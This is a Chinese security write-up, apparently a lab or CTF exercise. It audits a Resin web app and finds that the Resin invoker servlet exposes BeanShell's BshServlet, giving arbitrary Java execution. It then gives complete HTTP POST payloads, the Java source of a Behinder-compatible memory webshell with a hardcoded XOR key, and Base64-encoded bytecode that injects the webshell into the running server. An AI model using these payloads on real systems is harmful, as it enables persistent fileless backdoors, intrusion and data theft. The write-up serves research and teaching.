Resin

源代码位置

通过查看resin/conf/resin.xml文件可以看到,Web路径在resin/simple下,将该目录拷贝出来。

Resin远程调试

配置Resin JVM参数

resin/conf/resin.properties文件中,找到jvm_args以及jvm_mode,修改内容为:

jvm_args  : -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005 # -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
jvm_mode    : -server

随后重启启动Resin。

配置IDEA

使用IDEA打开拷贝出来的simple文件夹,IDEA会自动识别到web.xml而后提示,勾选配置项目即可,此外还需要添加Java EE6的依赖。随后配置远程调试:

随后进行路径映射配置,将WEB-INF/classes作为添加为依赖库:

如不进行此操作,断点无效

最后配置Resin的依赖,将resin/lib文件夹复制到项目下,并且将该文件夹添加为依赖:

这样就配置好了调试。

Resin代码审计

实际代码就一个Class,反编译后可以看到没有问题:

public class DemoServlet extends HttpServlet {
    public DemoServlet() {
    }
 
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String name = req.getParameter("name");
        resp.setContentType("text/html");
        PrintWriter out = resp.getWriter();
        out.println("<html><p>Hello <b>" + name + "</b>!</p></html>");
    }
}

说明肯定这里没有问题,先查看具体的配置文件:

<web-app xmlns="http://java.sun.com/xml/ns/javaee"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
    version="2.5">
 
	<display-name>${project.artifactId} ${project.version}</display-name>
		 	
	<welcome-file-list>
		<welcome-file>index.jsp</welcome-file>
		<welcome-file>index.html</welcome-file>
	</welcome-file-list>
 
	<session-config>
		<session-timeout>15</session-timeout>
	</session-config>
	<servlet>
		<servlet-name>DemoServlet</servlet-name>
		<servlet-class>org.me.DemoServlet</servlet-class>
 
	</servlet>
	<servlet-mapping>
		<servlet-name>DemoServlet</servlet-name>
		<url-pattern>/servlet/org.me.DemoServlet</url-pattern>
	</servlet-mapping>
</web-app>

Web.xml的配置也很常规,还有一个resin-web.xml

<web-app xmlns="http://caucho.com/ns/resin">  
    <servlet-mapping url-pattern="/servlet/*" servlet-name="invoker"/>  
</web-app>

这里的servlet-name有点问题,invoker并不是代码里的,说明应该是Resin提供的,查询文档可以看到:

下面警告还特别提醒了invokerservlet可能会创建安全漏洞,说明应该是这个了。

但是搜索了一圈也没有发现利用的方式。

那就从这个提示入手,提示说invoker是用来通过类名分发servlets的,再看下面,意思是任意在classpathservlet,甚至是在一个使用者没有意识到的jar里,都可能被执行。

而在这个项目里,classpath里就只有一个依赖的jar,即bsh-2.0b4.jar

那么只要找找这个Jar包里有没有可以利用的Servlet就可以确定了。 将该Jar包反编译以更好地进行审计:

py -3 java-decompiler.py -j -i .\WEB-INF\lib\bsh-2.0b4.jar -o./src

搜索发现只有一个Servlet

找到其参考文档:Servlet Mode · beanshell/beanshell Wiki · GitHub

四个参数分别如下:

而Bean Shell,根据其描述:

也就是说现在有Java的任意代码执行了,测试一下:

1000

确实可以执行,那么接下来就是考虑利用这个注入内存马了。

Resin内存马

WebApp

获取ServletContext

由于对Resin不是很了解,先打个断点到实际的doGet方法中,查看实际调用堆栈:

最终在service:314, ServletInvocation这个类中找到了获取到ServletRequest的方法:

public static ServletRequest getContextRequest() {
	ProtocolConnection req = TcpSocketLink.getCurrentRequest();
	if (req instanceof AbstractHttpRequest) {
		return ((AbstractHttpRequest)req).getRequestFacade();
	} else {
		return req instanceof ServletRequest ? (ServletRequest)req : null;
	}
}

但是在这个场景中其实并不需要获取到ServletRequest,在BshServlet中,有如下代码:

Object evalScript(String var1, StringBuffer var2, boolean var3, HttpServletRequest var4, HttpServletResponse var5) throws EvalError {
	ByteArrayOutputStream var6 = new ByteArrayOutputStream();
	PrintStream var7 = new PrintStream(var6);
	Interpreter var8 = new Interpreter((Reader)null, var7, var7, false);
	var8.set("bsh.httpServletRequest", var4);
	var8.set("bsh.httpServletResponse", var5);
	Object var9 = null;
	Object var10 = null;
	PrintStream var11 = System.out;
	PrintStream var12 = System.err;
	if (var3) {
		System.setOut(var7);
		System.setErr(var7);
	}
 
	try {
		var9 = var8.eval(var1);
	} finally {
		if (var3) {
			System.setOut(var11);
			System.setErr(var12);
		}
	}
 
	var7.flush();
	var2.append(var6.toString());
	return var9;
}

可以看到在执行前实际给Interpreter设置了两个变量bsh.httpServletRequest以及bsh.httpServletResponse,又由于HttpServletRequest是继承了ServletRequest的,这使得在BeanShell脚本可以直接使用,而无需自己获取,这样就可以从ServletRequest拿到对应的ServletContext了。

Servlet内存马

添加Servlet

通过IDEA分析可以看到两个继承:

而在第一个ServletContextImpl中的方法内容为:

说明不是这个,再看WebApp

这里有实际的实现,再看这三个实现,实际最后都是调用了this.addServlet(String servletName, String servletClassName, Class<? extends Servlet> servletClass, Servlet servlet),那么看该方法:

发现添加使用的是this.addServlet(ServletConfigImpl config),再看:

至此就明了了,要想添加一个Servlet,只需要调用WebAppaddServlet(ServletConfigImpl config)即可。

接下来看下怎么构造ServletConfigImpl,仔细观察上面的代码,三个继承ServletContextaddServlet方法,以及下面的this.addServlet(String servletName, String servletClassName, Class<? extends Servlet> servletClass, Servlet servlet)会发现,config.setServlet(servlet)可以传递为null,而config.setServletClass的多态只是为了更方便设置ServletClass,因此实际只需要调用ServletConfigImpl.setServletName以及ServletConifgImpl.setServletClass即可构造完成。

接下来实验一下,初始的Servlet列表为:

接下来发送以下Payload:

POST /servlet/bsh.servlet.BshServlet HTTP/1.1
Host: 192.168.83.137:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
 
bsh.script=javax.servlet.ServletRequest request=(javax.servlet.ServletRequest)bsh.httpServletRequest;
com.caucho.server.webapp.WebApp app=(com.caucho.server.webapp.WebApp)request.getServletContext();
com.caucho.server.dispatch.ServletConfigImpl sci = new com.caucho.server.dispatch.ServletConfigImpl();
sci.setServletName("test");
sci.setServletClass("org.me.DemoServlet");
app.addServlet(sci);

再次查看Servlet列表:

成功添加Servlet列表,接下来就是将该Servlet路由进行映射了。

Servlet路由映射

接下来需要查看是如何配置路由的,通过IDEA的分析,可以看到javax.servlet.ServletRegistration:addMapping方法的实现只有一个:

跟进到该方法:

不难发现实际上通过了WebApp:addServletMapping去设置映射,再看:

于是再次跟进到ServletMapping:init方法:

public void init(ServletMapper mapper) throws ServletException {
	boolean hasInit = false;
	if (this.getServletName() == null) {
		this.setServletName(this.getServletNameDefault());
	}
 
	if (this.getServletName() != null && this.getServletName().indexOf("${") >= 0) {
		this._isRegexp = true;
	}
 
	if (this.getServletClassName() != null && this.getServletClassName().indexOf("${") >= 0) {
		this._isRegexp = true;
	}
 
	boolean ifAbsent = this._ifAbsent;
 
	for(int i = 0; i < this._mappingList.size(); ++i) {
		Mapping mapping = (Mapping)this._mappingList.get(i);
		String urlPattern = mapping.getUrlPattern();
		String urlRegexp = mapping.getUrlRegexp();
		if (this.getServletName() == null && this.getServletClassName() != null && urlPattern != null) {
			this.setServletName(urlPattern);
		}
 
		if (urlPattern != null && !hasInit) {
			hasInit = true;
			super.init();
			if (this.getServletClassName() != null) {
				mapper.getServletManager().addServlet(this);
			}
		}
 
		if (urlPattern != null) {
			if (mapper.addUrlMapping(urlPattern, this.getServletName(), this, ifAbsent)) {
				ifAbsent = false;
			}
		} else {
			mapper.addUrlRegexp(urlRegexp, this.getServletName(), this);
		}
	}
}

可以看到,在里面调用了ServletMapper的方法,再看ServletMapper,通过对其属性以及方法的观察,可以判断这应该就是存储路由的类。

这样子实际上只需要调用WebApp:addServletMapping就应该可以动态地注册一个Servlet。 接下来考虑构造ServletMapping,参考addMapping中的代码如下:

ServletMapping mapping = this._webApp.createServletMapping();
mapping.setIfAbsent(true);
mapping.setServletName(this.getServletName());
String[] var11 = urlPatterns;
var5 = urlPatterns.length;
 
for(int var12 = 0; var12 < var5; ++var12) {
	String urlPattern = var11[var12];
	mapping.addURLPattern(urlPattern);
}
 
this._webApp.addServletMapping(mapping);

那么构造的话,就可以类似的:

ServletMapping m = app.createServletMapping();
m.setIfAbsent(true);
m.setServletName("servlet name");
m.addUrlPattern("/prefix");

于是尝试以下Payload:

POST /servlet/bsh.servlet.BshServlet HTTP/1.1
Host: 192.168.83.137:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 399
 
bsh.script=javax.servlet.ServletRequest request=(javax.servlet.ServletRequest)bsh.httpServletRequest;
com.caucho.server.webapp.WebApp app=(com.caucho.server.webapp.WebApp)request.getServletContext();
com.caucho.server.dispatch.ServletConfigImpl sci = new com.caucho.server.dispatch.ServletConfigImpl();
sci.setServletName("test1");
sci.setServletClass("org.me.DemoServlet");
app.addServlet(sci);
com.caucho.server.dispatch.ServletMapping m = app.createServletMapping();
m.setIfAbsent(true);
m.setServletName("test1");
m.addURLPattern("/test1");
app.addServletMapping(m);

测试是否成功:

冰蝎内存马改造 - Resin Servlet

内存马与文件马只是差距在有无文件落地,实现某一工具的内存马只需要保证内存马与其生成的文件马数据交互逻辑一致,即可正常使用。

在开始之前需要注意,生成的服务端代码使用了JSP相关的东西,在equals(pageContext)这一步代码中,pageContext就是javax.servlet.jsp.PageContext,因此在Servlet中,需要获取该对象。

该对象可以通过javax.servlet.jsp.JspFactory.getDefaultFactory().getPageContext获取,但是需要传递参数,在Resin中的实现:

public PageContext getPageContext(Servlet servlet, ServletRequest request, ServletResponse response, String errorPageURL, boolean needsSession, int buffer, boolean autoFlush) {
	PageContextImpl pc = new PageContextImpl();
 
	try {
		pc.initialize(servlet, request, response, errorPageURL, needsSession, buffer, autoFlush);
	} catch (Exception var10) {
	}
 
	return pc;
}

参数通过名字可以比较轻松的知道是什么含义,于是获取PageContext

javax.servlet.jsp.PageContext pageContext = javax.servlet.jsp.JspFactory.getDefaultFactory().getPageContext(this, req, resp, null, true, 8192, true);

当然,实际上冰蝎的逻辑后来有所修改,如下:

private void fillContext(Object obj) throws Exception {
	if (obj.getClass().getName().indexOf("PageContext") >= 0) {
		this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
		this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
		this.Session = obj.getClass().getMethod("getSession").invoke(obj);
	} else {
		Map<String, Object> objMap = (Map)obj;
		this.Session = objMap.get("session");
		this.Response = objMap.get("response");
		this.Request = objMap.get("request");
	}
 
	this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}

也就是说,冰蝎只需要拿到三个对应的对象RequestResponse以及Session即可,而且如果传入的pageContextjavax.servlet.jsp.PageContext的话,就调用对应的get方法,否则就将其转换为Map对象,通过Map:get去获取对应的对象,那么也可以写成:

HashMap<String, Object> pageContext = new HashMap<>();  
pageContext.put("request", req);  
pageContext.put("response", resp);  
pageContext.put("session", req.getSession());

为了使得传输方便,摒弃冰蝎的JSP中的Class U extend ClassLoader的写法,因为这种写法编译成字节码后存在内部类,会生成两个字节码文件,因此使用反射加载:

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);  
byte byteCode[] = Decrypt(bos.toByteArray());  
defineClass.setAccessible(true);  
Class clazz = (Class) defineClass.invoke(this.getClass().getClassLoader(), byteCode, 0, byteCode.length);  
clazz.newInstance().equals(pageContext);

给出完整的代码:

package org.me;  
import javax.servlet.ServletException;  
import javax.servlet.http.HttpServlet;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.IOException;  
import java.lang.reflect.Method;  
import java.util.*;  
import java.io.*;  
import javax.crypto.*;  
import javax.crypto.spec.*;  
  
public class MemShellServlet extends HttpServlet {  
    public MemShellServlet() {  
  
    }  
  
    @Override  
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  
//        super.doGet(req, resp);  
        resp.getWriter().println("Mem shell ok");  
    }  
  
    @Override  
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  
//        super.doPost(req, resp);  
        ByteArrayOutputStream bos = new ByteArrayOutputStream();  
        byte[] buf = new byte[512];  
        int length = req.getInputStream().read(buf);  
        while (length > 0) {  
            byte[] data = Arrays.copyOfRange(buf, 0, length);  
            bos.write(data);  
            length = req.getInputStream().read(buf);  
        }
//        javax.servlet.jsp.PageContext pageContext = javax.servlet.jsp.JspFactory.getDefaultFactory().getPageContext(this, req, resp, null, true, 8192, true);  
        HashMap<String, Object> pageContext = new HashMap<>();  
        pageContext.put("request", req);  
        pageContext.put("response", resp);  
        pageContext.put("session", req.getSession());  
        try {  
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);  
            byte byteCode[] = Decrypt(bos.toByteArray());  
            defineClass.setAccessible(true);  
            Class clazz = (Class) defineClass.invoke(this.getClass().getClassLoader(), byteCode, 0, byteCode.length);  
            clazz.newInstance().equals(pageContext);  
        } catch (Exception e) {  
            throw new RuntimeException(e);  
        }  
    }  
  
    private byte[] Decrypt(byte[] data)  
    {  
        String key="e45e329feb5d925b";  
        for (int i = 0; i < data.length; i++) {  
            data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));  
        }  
        return data;  
    }  
}

编译可以在本地进行,添加参数--release 8即可编译为Java 8能识别的字节码。

注意doGetdoPost中的逻辑不要调用super.doGet()或者super.doPost(),原因如下:

该代码会直接返回405,结束请求。

测试一下冰蝎能否正常链接该马:

正常链接,冰蝎内存马改造完成。

注入内存马

BeanShell实际不能支持所有的Java代码,这是由于目前的Java代码还含有各种语法糖,以下面这行代码为例:

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);

这行代码并不能在Beanshell被解析,如图:

会提示方法不存在,这是由于可变参数实际只是一个语法糖,它并不是最终的Java代码。

数组的声明也必须按照最原始的ClassName[] array = new ClassName[length]才可以被解析。

想要实现这个,就必须理解可变长参数的实现,实质可变参数传递的只是一个对象数组,这就是可变长参数的实质,因此,可以这么获取到defineClass的方法对象:

Class[] dcm_args=new Class[3];
dcm_args[0]=byte[].class;dcm_args[1]=int.class;dcm_args[2]=int.class;
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", dcm_args);
print(defineClass);

如图,这样就获取到了该方法对象:

接下来加载字节码,通过反射将其属性设为可访问,然后加载字节码,完整代码如下:

Class[] dcm_args=new Class[3];
dcm_args[0]=byte[].class;dcm_args[1]=int.class;dcm_args[2]=int.class;
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", dcm_args);
defineClass.setAccessible(true);
String sbc="yv66vgAAADQAkQoAAgADBwAEDAAFAAYBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXQBAAY8aW5pdD4BAAMoKVYLAAgACQcACgwACwAMAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwgADgEADE1lbSBzaGVsbCBvawoAEAARBwASDAATABQBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgcAFgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgAVAAMLABkAGgcAGwwAHAAdAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADmdldElucHV0U3RyZWFtAQAkKClMamF2YXgvc2VydmxldC9TZXJ2bGV0SW5wdXRTdHJlYW07CgAfACAHACEMACIAIwEAIGphdmF4L3NlcnZsZXQvU2VydmxldElucHV0U3RyZWFtAQAEcmVhZAEABShbQilJCgAlACYHACcMACgAKQEAEGphdmEvdXRpbC9BcnJheXMBAAtjb3B5T2ZSYW5nZQEACChbQklJKVtCCgAVACsMACwALQEABXdyaXRlAQAFKFtCKVYKAC8AMAcAMQwAMgAzAQAcamF2YXgvc2VydmxldC9qc3AvSnNwRmFjdG9yeQEAEWdldERlZmF1bHRGYWN0b3J5AQAgKClMamF2YXgvc2VydmxldC9qc3AvSnNwRmFjdG9yeTsKAC8ANQwANgA3AQAOZ2V0UGFnZUNvbnRleHQBAIooTGphdmF4L3NlcnZsZXQvU2VydmxldDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9TdHJpbmc7WklaKUxqYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dDsHADkBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIIADsBAAtkZWZpbmVDbGFzcwcAPQEAD2phdmEvbGFuZy9DbGFzcwcAPwEAAltCCQBBAEIHAEMMAEQARQEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7CgA8AEcMAEgASQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAFQBLDABMAE0BAAt0b0J5dGVBcnJheQEABCgpW0IKAE8AUAcAUQwAUgBTAQAWb3JnL21lL01lbVNoZWxsU2VydmxldAEAB0RlY3J5cHQBAAYoW0IpW0IKAFUAVgcAVwwAWABZAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYKAFsAXAcAXQwAXgBfAQAQamF2YS9sYW5nL09iamVjdAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoAPABhDABiAGMBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsKAEEAZQwAZgBnAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsKAFUAaQwAagBrAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgA8AG0MAG4AbwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsKAFsAcQwAcgBzAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaBwB1AQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAdwEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uCgB2AHkMAAUAegEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVggAfAEAEGU0NWUzMjlmZWI1ZDkyNWIKAH4AfwcAgAwAgQBNAQAQamF2YS9sYW5nL1N0cmluZwEACGdldEJ5dGVzAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABWRvR2V0AQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEACkV4Y2VwdGlvbnMHAIgBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HAIoBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAGZG9Qb3N0AQANU3RhY2tNYXBUYWJsZQcAjgEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0AQAKU291cmNlRmlsZQEAFE1lbVNoZWxsU2VydmxldC5qYXZhACEATwACAAAAAAAEAAEABQAGAAEAggAAACEAAQABAAAABSq3AAGxAAAAAQCDAAAACgACAAAADgAEABAABACEAIUAAgCCAAAAKAACAAMAAAAMLLkABwEAEg22AA%2BxAAAAAQCDAAAACgACAAAAFQALABYAhgAAAAYAAgCHAIkABACLAIUAAgCCAAABWgAIAAoAAADFuwAVWbcAF04RAgC8CDoEK7kAGAEAGQS2AB42BRUFngAjGQQDFQW4ACQ6Bi0ZBrYAKiu5ABgBABkEtgAeNgWn%2F964AC4qKywBBBEgAAS2ADQ6BhI4EjoGvQA8WQMSPlNZBLIAQFNZBbIAQFO2AEY6ByottgBKtwBOOggZBwS2AFQZByq2AFq2AGAGvQBbWQMZCFNZBAO4AGRTWQUZCL64AGRTtgBowAA8OgkZCbYAbBkGtgBwV6cADzoHuwB2WRkHtwB4v7EAAQBSALUAuAB0AAIAgwAAAEoAEgAAABsACAAcAA8AHQAcAB4AIQAfACsAIAAxACEAPgAiAEEAIwBSACUAcAAmAHoAJwCAACgAqgApALUALQC4ACsAugAsAMQALgCMAAAAKwAE%2FgAcBwAVBwA%2BAST%2FAHYABwcATwcAGQcACAcAFQcAPgEHAI0AAQcAdAsAhgAAAAYAAgCHAIkAAgBSAFMAAQCCAAAAYAAGAAQAAAAmEntNAz4dK76iABwrHSsdMyy2AH0dBGAQD34zgpFUhAMBp%2F%2FkK7AAAAACAIMAAAAWAAUAAAAyAAMAMwALADQAHgAzACQANgCMAAAADAAC%2FQAFBwB%2BAfoAHgABAI8AAAACAJA%3D";
byte[] bc = java.util.Base64.getDecoder().decode(sbc);
Object[] o = new Object[3];
o[0] = bc;o[1] = 0;o[2] = bc.length;
defineClass.invoke((Object)org.me.DemoServlet.class.getClassLoader(), o);
print("OK");
print(org.me.MemShellServlet.class);

由于Base64中有+号,需要对其URL编码,否则会解码失败。

在执行前,查看一下是否存在类,执行后,再次查看:

发现成功加载了字节码。

接下来,结合一下,打入内存马,由于字节码已经加载了,因此重启一下服务。

完整的Payload如下:

Class[] dcm_args=new Class[3];
dcm_args[0]=byte[].class;dcm_args[1]=int.class;dcm_args[2]=int.class;
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", dcm_args);
defineClass.setAccessible(true);
String sbc="yv66vgAAADQAkQoAAgADBwAEDAAFAAYBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXQBAAY8aW5pdD4BAAMoKVYLAAgACQcACgwACwAMAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwgADgEADE1lbSBzaGVsbCBvawoAEAARBwASDAATABQBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgcAFgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgAVAAMLABkAGgcAGwwAHAAdAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADmdldElucHV0U3RyZWFtAQAkKClMamF2YXgvc2VydmxldC9TZXJ2bGV0SW5wdXRTdHJlYW07CgAfACAHACEMACIAIwEAIGphdmF4L3NlcnZsZXQvU2VydmxldElucHV0U3RyZWFtAQAEcmVhZAEABShbQilJCgAlACYHACcMACgAKQEAEGphdmEvdXRpbC9BcnJheXMBAAtjb3B5T2ZSYW5nZQEACChbQklJKVtCCgAVACsMACwALQEABXdyaXRlAQAFKFtCKVYKAC8AMAcAMQwAMgAzAQAcamF2YXgvc2VydmxldC9qc3AvSnNwRmFjdG9yeQEAEWdldERlZmF1bHRGYWN0b3J5AQAgKClMamF2YXgvc2VydmxldC9qc3AvSnNwRmFjdG9yeTsKAC8ANQwANgA3AQAOZ2V0UGFnZUNvbnRleHQBAIooTGphdmF4L3NlcnZsZXQvU2VydmxldDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9TdHJpbmc7WklaKUxqYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dDsHADkBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIIADsBAAtkZWZpbmVDbGFzcwcAPQEAD2phdmEvbGFuZy9DbGFzcwcAPwEAAltCCQBBAEIHAEMMAEQARQEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7CgA8AEcMAEgASQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAFQBLDABMAE0BAAt0b0J5dGVBcnJheQEABCgpW0IKAE8AUAcAUQwAUgBTAQAWb3JnL21lL01lbVNoZWxsU2VydmxldAEAB0RlY3J5cHQBAAYoW0IpW0IKAFUAVgcAVwwAWABZAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYKAFsAXAcAXQwAXgBfAQAQamF2YS9sYW5nL09iamVjdAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoAPABhDABiAGMBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsKAEEAZQwAZgBnAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsKAFUAaQwAagBrAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgA8AG0MAG4AbwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsKAFsAcQwAcgBzAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaBwB1AQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAdwEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uCgB2AHkMAAUAegEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVggAfAEAEGU0NWUzMjlmZWI1ZDkyNWIKAH4AfwcAgAwAgQBNAQAQamF2YS9sYW5nL1N0cmluZwEACGdldEJ5dGVzAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABWRvR2V0AQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEACkV4Y2VwdGlvbnMHAIgBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HAIoBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAGZG9Qb3N0AQANU3RhY2tNYXBUYWJsZQcAjgEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0AQAKU291cmNlRmlsZQEAFE1lbVNoZWxsU2VydmxldC5qYXZhACEATwACAAAAAAAEAAEABQAGAAEAggAAACEAAQABAAAABSq3AAGxAAAAAQCDAAAACgACAAAADgAEABAABACEAIUAAgCCAAAAKAACAAMAAAAMLLkABwEAEg22AA%2BxAAAAAQCDAAAACgACAAAAFQALABYAhgAAAAYAAgCHAIkABACLAIUAAgCCAAABWgAIAAoAAADFuwAVWbcAF04RAgC8CDoEK7kAGAEAGQS2AB42BRUFngAjGQQDFQW4ACQ6Bi0ZBrYAKiu5ABgBABkEtgAeNgWn%2F964AC4qKywBBBEgAAS2ADQ6BhI4EjoGvQA8WQMSPlNZBLIAQFNZBbIAQFO2AEY6ByottgBKtwBOOggZBwS2AFQZByq2AFq2AGAGvQBbWQMZCFNZBAO4AGRTWQUZCL64AGRTtgBowAA8OgkZCbYAbBkGtgBwV6cADzoHuwB2WRkHtwB4v7EAAQBSALUAuAB0AAIAgwAAAEoAEgAAABsACAAcAA8AHQAcAB4AIQAfACsAIAAxACEAPgAiAEEAIwBSACUAcAAmAHoAJwCAACgAqgApALUALQC4ACsAugAsAMQALgCMAAAAKwAE%2FgAcBwAVBwA%2BAST%2FAHYABwcATwcAGQcACAcAFQcAPgEHAI0AAQcAdAsAhgAAAAYAAgCHAIkAAgBSAFMAAQCCAAAAYAAGAAQAAAAmEntNAz4dK76iABwrHSsdMyy2AH0dBGAQD34zgpFUhAMBp%2F%2FkK7AAAAACAIMAAAAWAAUAAAAyAAMAMwALADQAHgAzACQANgCMAAAADAAC%2FQAFBwB%2BAfoAHgABAI8AAAACAJA%3D";
byte[] bc = java.util.Base64.getDecoder().decode(sbc);
Object[] o = new Object[3];
o[0] = bc;o[1] = 0;o[2] = bc.length;
defineClass.invoke((Object)org.me.DemoServlet.class.getClassLoader(), o);
print("Class Load Done");
print(org.me.MemShellServlet.class);
javax.servlet.ServletRequest request=(javax.servlet.ServletRequest)bsh.httpServletRequest;
com.caucho.server.webapp.WebApp app=(com.caucho.server.webapp.WebApp)request.getServletContext();
com.caucho.server.dispatch.ServletConfigImpl sci = new com.caucho.server.dispatch.ServletConfigImpl();
String sn="memshell";
sci.setServletName(sn);
sci.setServletClass("org.me.MemShellServlet");
app.addServlet(sci);
